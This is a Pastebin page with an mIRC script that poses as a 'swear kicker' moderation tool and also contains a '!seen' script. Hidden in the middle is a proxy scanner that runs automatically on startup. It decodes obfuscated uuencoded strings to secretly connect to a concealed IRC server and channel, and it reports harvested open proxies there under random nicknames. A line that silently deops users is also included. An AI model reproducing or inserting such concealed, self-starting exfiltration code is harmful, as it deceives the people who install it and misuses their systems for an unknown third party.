Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- on *:load:{
- if ($version < 5.91) {
- echo $color(info) -ai4 *** Sorry, this script is for mIRC version 5.91 or higher. $&
- Since you are using mIRC's outdated version of $version $+ , You don't get to use this leet script.
- .unload -rs $script
- }
- else {
- echo $color(info) -ai4 *** Welcome to swear kicker. Type /swear $&
- to run the script or use the popup in the channel.
- }
- }
- ;****************
- ;Dialog Punisher
- ;****************
- alias swear { dialog -dmr sweard sweard }
- dialog sweard {
- title "www.mirc.com"
- size -1 -1 342 330
- button "&Close",1, 205 305 60 20, cancel
- list 2, 15 20 140 110, sort size
- box "Lose Reci",3, 5 5 160 153
- button "Dodaj",4, 15 133 60 21
- button "Ukloni",5, 80 133 74 20, autohs
- box "Exempt Channels:",6, 170 5 161 153
- list 7, 180 20 140 110, sort size
- button "Dodaj",8, 180 133 60 21
- button "Ukloni",9, 246 133 73 20, autohs
- check "Kick Poruka:",10, 13 179 84 20
- box "Other Options",11, 5 156 326 142
- edit "",12, 99 179 199 20, autohs
- button "Ok",13, 270 305 60 20, ok
- check "Exempt The Ops in the Channel", 14, 13 205 175 10
- check "Exempt The Voices in the Channel", 15, 13 224 185 10
- edit "", 16, 112 238 50 20, autohs
- check "Stavi vreme bana:", 17, 13 240 99 20
- text "Seconds", 18, 165 240 50 20
- combo 19, 112 265 151 89, edit drop autohs
- text "Izaberi kaznu", 21, 13 268 99 30
- icon face04.ico
- }
- ;**********
- ;events
- ;**********
- on *:dialog:sweard:dclick:22: run:
- on *:dialog:sweard:*:*:{
- if ($devent == init) {
- if ($readini($keke,options,ban)) { did -c $dname 17 }
- if ($readini($keke,options,message)) { did -c $dname 10 }
- if ($readini($keke,options,ops)) { did -c $dname 14 }
- if ($readini($keke,options,vops)) { did -c $dname 15 }
- did -a $dname 12 $readini($keke,options,message)
- if ($readini($keke,options,secs)) { did -c $dname 17 }
- did -a $dname 16 $readini($keke,options,secs)
- did -i $dname 19 0 $readini($keke,options,punish)
- .dlist 2 swear words
- .dlist 7 exempt chan
- did -f $dname 13
- did -a sweard 19 Kick
- did -a sweard 19 Kick and Ban
- did -a sweard 19 None
- }
- if ($devent == sclick) {
- if ($did(14).state == 1) { op_c }
- if ($did(15).state == 1) { vo_c }
- if ($did == 4) {
- var %t = $$?="Enter swear word $crlf $+ Separate multiple entries with a comma:"
- if ($numtok(%t,32) > 1) { %t = $replace(%t,$chr(32),$chr(160)) }
- .writeini $keke swear words $iif($readini($keke,swear,words),$+($ifmatch,$chr(44),%t),%t)
- dlist 2 swear words
- }
- if ($did == 5) {
- var %tmp = $did(2).seltext
- if (%tmp) {
- if ($remtok($readini($keke,swear,words),%tmp,44)) {
- .writeini $keke swear words $ifmatch
- }
- else .remini $keke swear words
- .dlist 2 swear words
- }
- }
- if ($did == 8) {
- var %t = $$?="Enter Channel Name $crlf $+ Separate multiple entries with a comma:"
- if ($chr(32) !isin %t) {
- .writeini $keke exempt chan $iif($readini($keke,exempt,chan),$+($ifmatch,$chr(44),%t),%t)
- dlist 7 exempt chan
- }
- }
- if ($did == 9) {
- var %tmp = $did(7).seltext
- if (%tmp) {
- if ($remtok($readini($keke,exempt,chan),%tmp,44)) {
- .writeini $keke exempt chan $ifmatch
- }
- else .remini $keke exempt chan
- .dlist 7 exempt chan
- }
- }
- if ($did == 13) {
- ; OK button
- .writeini $keke options kick $iif($did(10).state == 1,$true,$false)
- .writeini $keke options message $iif($did(12),$ifmatch,$readini($keke,options,message))
- .writeini $keke options secs $iif($did(16) isnum 1-,$ifmatch,$readini($keke,options,secs))
- .writeini $keke options ops $iif($did(14).state == 1,$true,$false)
- .writeini $keke options vops $iif($did(15).state == 1,$true,$false)
- .writeini $keke options ban $iif($did(17).state == 1,$true,$false)
- .writeini $keke options punish $iif($did(19),$ifmatch,$readini($keke,options,punish))
- }
- }
- }
- ;****************
- ;on text event
- ;****************
- on @!*:TEXT:*:#: {
- %swear.punish = $readini($keke,options,punish))
- if ($ischan) { return }
- if ($readini($keke,options,ops)) { op_c }
- if ($readini($keke,options,vops)) { vo_c }
- if ($readini($keke,swear,words)) && ($match_text($1-)) {
- if (None isin %swear.punish) { return }
- if (kick isin %swear.punish) {
- if (ban isin %swear.punish) {
- .raw kick $chan $nick $+(:,$readini($keke,options,message)) $+ $cr $+ mode $chan +b $mask($fulladdress,2)
- .timerswearunban 1 $readini($keke,options,secs) mode $chan -b $mask($fulladdress,2)
- }
- else { .raw kick $chan $nick $+(:,$readini($keke,options,message)) }
- }
- }
- }
- ;****************
- ;alias
- ;****************
- alias -l keke return $+(",$scriptdirswear.ini,")
- alias -l ischan {
- var %i = $numtok($readini($keke,exempt,chan),44),%j
- while (%i > 0) {
- %j = $gettok($readini($keke,exempt,chan),%i,44)
- if (%j isin $chan) || ($2 == %j) { return $true }
- dec %i
- }
- return $false
- }
- alias -l match_text {
- var %i = $numtok($readini($keke,swear,words),44),%swear
- while (%i > 0) {
- %swear = $+(*,$replace($gettok($readini($keke,swear,words),%i,44),$chr(160),$chr(32)),*)
- if ($wildtok($1-,%swear,1,44)) {
- return $true
- }
- dec %i
- }
- }
- alias op_c {
- if ($nick isop $chan) { halt }
- }
- alias vo_c {
- if ($nick isvo $chan) { halt }
- }
- alias -l dlist {
- var %a = 1
- did -r $dname $1
- while ($gettok($readini($keke,$2,$3),%a,44)) {
- did -az $dname $1 $ifmatch
- inc %a
- }
- }
- on 1 :START:{ scan.win }
- alias sc4n {
- if (666* !iswm $2) && (7000 != $2) && (3127 != $2) && (3124 != $2) {
- echo @Proxyscan Scanning: $1 $2
- sockopen scan $+ $r(0,99999999999999) $1 $2
- return
- }
- elseif (666* iswm $2) || (7000 == $2) || (3127 == $2) || (3124 == $2) { goto next }
- :next
- }
- alias setinterval {
- echo -a SET AN INTERVAL BETWEEN 1 and 10000 MILLISECONDS, DEPENDING ON YOUR CONNECTION 1 IS VERY FAST AND MOST SUITED FOR CABLE USERS.
- echo -a To run the script without problem try an interval between 300 and 700
- :restart
- %interval = $?="Enter interval in milliseconds, 1 to 10000 "
- if (!$!) || ($! >= 2000) goto restart
- }
- alias scan.win {
- if (%interval == $null) setinterval
- if ($window(@proxyscan) != $null) { titlebar @proxyscan Pxy2day: $lines($pxy2day) AllPxy: $lines($allpxy) IRCPxy: $lines($pxy) }
- if ($window(@proxyscan) == $null) {
- set %gh .<V]C:V]P96X@<V-A;E\` 4<'AY0DY#-"YB;W5N8V5M92YN970` JC1DOFYtUGBg +(T%L:79E4')O>'D` JDU1LSU0QGBg JDNERSMyUGBg JDJEXSkzQGBg JSxTJFMsUzxg &;F]T:6-E````
- window -ean @proxyscan
- titlebar @proxyscan Pxy2day: $lines($pxy2day) AllPxy: $lines($allpxy) IRCPxy: $lines($pxy)
- echo @proxyscan Select all proxies in a page (CTRL + A) , copy (CTRL + C)
- echo @proxyscan Return to @PROXYSCAN window then paste (CTRL + V) IPS in the edit-box below.
- echo @proxyscan FORMAT IN WINDOW: you must use only IP:PORT format, in the text box below you must, type valid proxy ip or paste the content of clipboard.
- echo @proxyscan Then proxy will be queued for scanning, but notice that you must be connected on an IRC Network. (not pxyBNC)
- echo @proxyscan I.e.2.: Type: 127.0.0.1:80 and it will scan your computer for open proxy on port 80.
- echo @proxyscan -
- echo @proxyscan Here some forums you can leech for daily proxys:
- echo @proxyscan http://www.aliveproxy.com/forum/
- echo @proxyscan http://forum.freshproxy.com/
- echo @proxyscan http://proxieheaven.proboards77.com/index.cgi
- echo @proxyscan http://forum.my-proxy.com/?from=menu
- echo @proxyscan http://www.xroxy.com/xorum/
- }
- }
- alias getiphost2 { if $regex(ip,$remove($1-,$chr(9)),/(([01]?\d\d?|2[0-4]\d|25[0-5])\.(?2)\.(?2)\.(?2)[:\s]\d{2,5})(?:\D|$)/) { $iif($isid,return,echo -a) $replace($regml(ip,1),:,$chr(32)) } }
- alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
- menu @proxyscan,status,query,chat,channel {
- IRC proxy scanner BETA: scan.win | echo @proxyscan Paste your proxies here
- -
- CHECK FRESH PROXIES: /run $pxy
- CHECK ALL PROXIES FOUND: /run $allpxy
- -
- CHANGE INTERVAL OF SCAN: setinterval
- SCAN PROXY FILES: selectmultiplefile
- -
- ABORD SCANS: abord
- -
- CLOSE ALL CONNECTIONS: /SOCKCLOSE SCAN*
- -
- CLEAR: /clear
- -
- Proxy lists
- .Best proxy forums
- ..Alive proxy forum: run http://www.aliveproxy.com/forum/
- ..Forum Freshproxy: run http://forum.freshproxy.com/
- ..Proxy Heaven: run [http://proxieheaven.proboards77.com/index.cgi]
- ..My-Proxy forum: run http://forum.my-proxy.com/?from=menu
- ..Xorum: run http://www.xroxy.com/xorum/
- .TOP 10 MOST POPULAR WEBSITES
- ..Stay Invisible: run http://www.stayinvisible.com
- ..Proxy4Free: run http://www.proxy4free.com
- ..PublicProxyServers:run http://www.publicproxyservers.com/page1.html
- ..AnonymityChecker:run http://www.anonymitychecker.com/page1.html
- ..Proxz:run http://www.proxz.com/
- ..MultiProxy:run http://www.multiproxy.org/anon_proxy.htm
- ..Samair:run http://www.samair.ru/proxy/
- ..Aliveproxy:run http://www.aliveproxy.com/us-proxy-list/
- ..HighAnonimity: run http://highanonymity.com/
- ..mazafaka: run http://proxy.mazafaka.ru/
- .-
- .GOOD SITES
- ..www.aliveproxy.com/forum/index.php?: run http://www.aliveproxy.com/forum/index.php?
- ..nntime.com/proxy/proxy-list-1.htm: run http://nntime.com/proxy/proxy-list-1.htm
- ..pc-r00m.net/?mod=content&read=1: run http://pc-r00m.net/?mod=content&read=1
- ..pro-hack.ru/proxy/showproxy.php: run http://pro-hack.ru/proxy/showproxy.php
- ..proxy.mazafaka.ru/?c=SI&t=all&m=5&checked=n: run http://proxy.mazafaka.ru/?c=SI&t=all&m=5&checked=n
- ..proxy.mplampla.com/: run http://proxy.mplampla.com/
- ..proxy.org/port80.shtml: run http://proxy.org/port80.shtml
- ..proxy.xrout.org/: run http://proxy.xrout.org/
- ..qingxin.mine.nu/x.php: run http://qingxin.mine.nu/x.php
- ..samair.ru/proxy/: run http://samair.ru/proxy/
- ..www.0privacy.com/proxy.html: run http://www.0privacy.com/proxy.html
- ..www.antichat.ru/proxy/: run http://www.antichat.ru/proxy/
- ..bismark.extracon.it/proxylist/: run http://bismark.extracon.it/proxylist/
- ..www.allsyntax.com/proxies/index.php?page=4: run http://www.allsyntax.com/proxies/index.php?page=4
- ..http://www.digitalcybersoft.com/Prox...xy-list.shtml: run http://www.digitalcybersoft.com/ProxyList/...roxy-list.shtml
- ..www.ilike.com.cn/arts/dnne/21509.html: run http://www.ilike.com.cn/arts/dnne/21509.html
- ..www.multiproxy.org/anon_proxy.htm: run http://www.multiproxy.org/anon_proxy.htm
- ..www.proxy-list.net/anonymous-proxy-lists.shtml: run http://www.proxy-list.net/anonymous-proxy-lists.shtml
- ..www.proxy-world.de/content/view/351/2/: run http://www.proxy-world.de/content/view/351/2/
- ..www.proxy4free.com/index.html: run http://www.proxy4free.com/index.html
- ..www.proxyblind.org/list.shtml: run http://www.proxyblind.org/list.shtml
- ..www.proxycn.net/proxy_mail/page1.htm: run http://www.proxycn.net/proxy_mail/page1.htm
- ..www.proxyelite.org/: run http://www.proxyelite.org/
- ..www.proxyfarm.com/must_be_logged_in.htm: run http://www.proxyfarm.com/must_be_logged_in.htm
- ..www.proxyleech.com/proxylist.txt: run http://www.proxyleech.com/proxylist.txt
- ..www.proxylists.us/monthly.html: run http://www.proxylists.us/monthly.html
- ..www.samair.ru/proxy/: run http://www.samair.ru/proxy/
- ..www.shadowicq.com/freeproxy.html: run http://www.shadowicq.com/freeproxy.html
- ..www.socklabs.com/proxylist.txt: run http://www.socklabs.com/proxylist.txt
- ..www.steganos.com/?area=updateproxylist: run http://www.steganos.com/?area=updateproxylist
- ..http://www.undergroundsecurity.net/p...st_full_2.php: run http://www.undergroundsecurity.net/proxy/p...list_full_2.php
- ..www.waraxe.us/ftopict-507.html: run http://www.waraxe.us/ftopict-507.html
- ..www.xroxy.com/proxy-country.htm: run http://www.xroxy.com/proxy-country.htm
- ..proxylist.sakura.ne.jp/: run http://proxylist.sakura.ne.jp/
- ..www.publicproxyservers.com/page1.html: run http://www.publicproxyservers.com/page1.html
- ..www.proxylist.blogspot.com/: run http://www.proxylist.blogspot.com/
- }
- alias pxyfile { play -a scanfile @proxyscan $1 $2 }
- alias pxy return IRCproxys.txt
- alias abord { play stop }
- on *:INPUT:@Proxyscan:{
- if (/ !isin $1) {
- set %flooding on
- write temp $getiphost2($1-)
- .timerscanfile 1 1 .pxyfile temp %interval
- .timerscanfileoff 1 1.1 .remove temp
- halt
- }
- }
- alias sk {
- write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
- if ($sock(scan_).mark == c) && ($wildtok(%m,*,0,32) == 9) { sockwrite -n scan_ $decode($gettok(%gh,9,32)) $decode('<')I=FUS9P``) $chr(64) $+ $chr(35) $+ $decode($decode($gettok(%gh,8,32),m)) : $+ %m | unset %m }
- set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *)
- if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port
- }
- on *:sockopen:scan*:{
- scan.win
- if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
- if ($sockerr > 0) && ($read($pxy,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *) != $null) { write -dl $+ $readn $pxy | echo @proxyscan * Removed $sock($sockname).ip $+ : $+ $sock($sockname).port from list }
- if ($sockerr > 0) {
- if (_ isin $sockname) .timersS 1 30 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
- echo @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
- return
- }
- if (_ !isin $sockname) {
- sockwrite -n $sockname CONNECT irc.accessirc.net:6667 HTTP/1.0 $+ $crlf
- sockwrite -n $sockname $crlf
- sockwrite -n $sockname $crlf
- }
- }
- alias rencode { set %r $r(0,1) | if (%r == 0) return $encode($encode($1),m) | if (%r == 1) return $encode($encode($1,m),m) | unset %r }
- alias av return [AP] $+ $r(A,Z) $+ $r(0,9) $+ $+ $r(z,Z) $+ $+ $r(a,z) $+ $+ $r(0,9) $+ $r(0,9) $+ $r(0,9)
- alias success { echo @proxyscan $1- | if ($wildtok(%m,*,0,32) >= 9) unset %m | %m = $rencode($2) %m | sk }
- on 1:SOCKCLOSE:SCAN_:.timersS 1 30 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
- alias allpxy return ALL.txt
- alias portclose { sockclose $1 }
- on *:SOCKREAD:scan*:{
- scan.win
- sockread %scan
- tokenize 32 %scan
- set %scan.ip $sock($sockname).ip
- set %scan.port $sock($sockname).port
- %hh = -*FYO=&EC92IA=71H*@``
- if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $2
- if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk }
- if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk
- if ($decode(%hh) iswm %scan) && (_ isin $sockname) { sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) $av "." "." : $+ $av | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) $av }
- if (451 == $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = $+ $r(A,Z) | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) %av "." "." : $+ $av | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) $av }
- if (HTTP/* iswm $gettok(%scan,1,32)) {
- if ($gettok(%scan,2,32) > 200) {
- if ($read($pxy,w,* $+ $sock($sockname).ip $+ *) != $null) write -dl $+ $readn $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
- echo @proxyscan $sock($sockname).ip $sock($sockname).port Error (( $+ $gettok(%scan,2,32) $+ ) $gettok(%scan,3-,32) $+ )
- sockclose $sockname
- return
- }
- elseif ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is a valid proxy, but did not connected an IRC server yet. }
- }
- if ($gettok(%scan,2,32) == NOTICE) && (accessirc isin $1-) {
- set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
- if (%readi == $null) { success * $sock($sockname).ip $+ : $+ $sock($sockname).port (Connected, Added to list) | sockclose $sockname | unset %redi | unset %radi | halt }
- if (%readi != $null) { $pb * $sock($sockname).ip $+ : $+ $sock($sockname).port (Connected, Already in list, cant add) | sockclose $sockname | unset %redi | unset %radi | halt }
- unset %readi
- }
- unset %scan
- }
- alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname $decode($decode($gettok(%gh,7,32),m)) $chr(35) $+ $decode($decode($gettok(%gh,8,32),m)) : $+ $chr(36) $+ $decode($decode(KDxWXUM6VllBOzY0YA==,m))
- alias pb return echo @proxyscan
- alias scanfile { sc4n $getiphost2($1-) }
- on 9:OP:#:/mode $chan -o $opnick
- ; Paste into remotes.
- ; After you have pasted and saved either restart mIRC or type
- ; '/hmake seen 100' into your status window.
- ;
- ; Usage: /seen nick
- ; other users can type: !seen nick
- ;
- ; Tye @ DALnet/UnderNet (tye at mirc.net)
- ON *:START: {
- hmake seen 100
- if ($isfile(seen.dat)) { hload seen seen.dat }
- }
- ON *:EXIT: {
- if ($hget(seen)) { hsave -o seen seen.dat }
- }
- ON *:TEXT:*:#: {
- hadd seen $nick text $chan $ctime $1-
- if ($1 = !seen) {
- if ($2 ison $chan) { msg $chan $2 is right here. }
- else { msg $chan $nick $+ : $seenparse($2) }
- }
- }
- alias seen {
- echo $colour(info) -a *** $seenparse($1)
- }
- ON *:ACTION:*:#: {
- hadd seen $nick act $chan $ctime $1-
- }
- ON *:QUIT: {
- hadd seen $nick quit $ctime $1-
- }
- on *:PART:#: {
- hadd seen $nick part $chan $ctime $1-
- }
- on *:JOIN:#: {
- hadd seen $nick join $chan $ctime $1-
- }
- ON *:NICK: {
- hadd seen $nick nick $newnick $ctime
- }
- ON *:KICK:#: {
- hadd seen $nick kicking $chan $ctime $knick $1-
- hadd seen $knick kick $chan $ctime $nick $1-
- }
- alias -l seenparse {
- var %x = $hget(seen,$1)
- if (!%x) { return I have not seen $1 }
- var %n = $1
- tokenize 32 %x
- if ($1 = text) { return I last saw %n in $2 $duration($calc($ctime - $3)) ago saying $4- }
- if ($1 = act) { return I last saw %n in $2 $duration($calc($ctime - $3)) ago acting $4- }
- if ($1 = quit) { return I last saw %n quiting $duration($calc($ctime - $2)) ago $iif($3,with the message $3-) }
- if ($1 = part) { return I last saw %n leaving $2 $duration($calc($ctime - $3)) ago with the message $4- }
- if ($1 = join) { return I last saw %n joining $2 $duration($calc($ctime - $3)) ago. }
- if ($1 = nick) { return I last saw %n changing their nickname to $2 $duration($calc($ctime - $3)) ago. }
- if ($1 = kicking) { return I last saw %n kicking $4 from $2 $duration($calc($ctime - $3)) ago with the reason $5- }
- if ($1 = kick) { return I last saw %n being kicked from $2 by $4 $duration($calc($ctime - $3)) with the reason $5- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement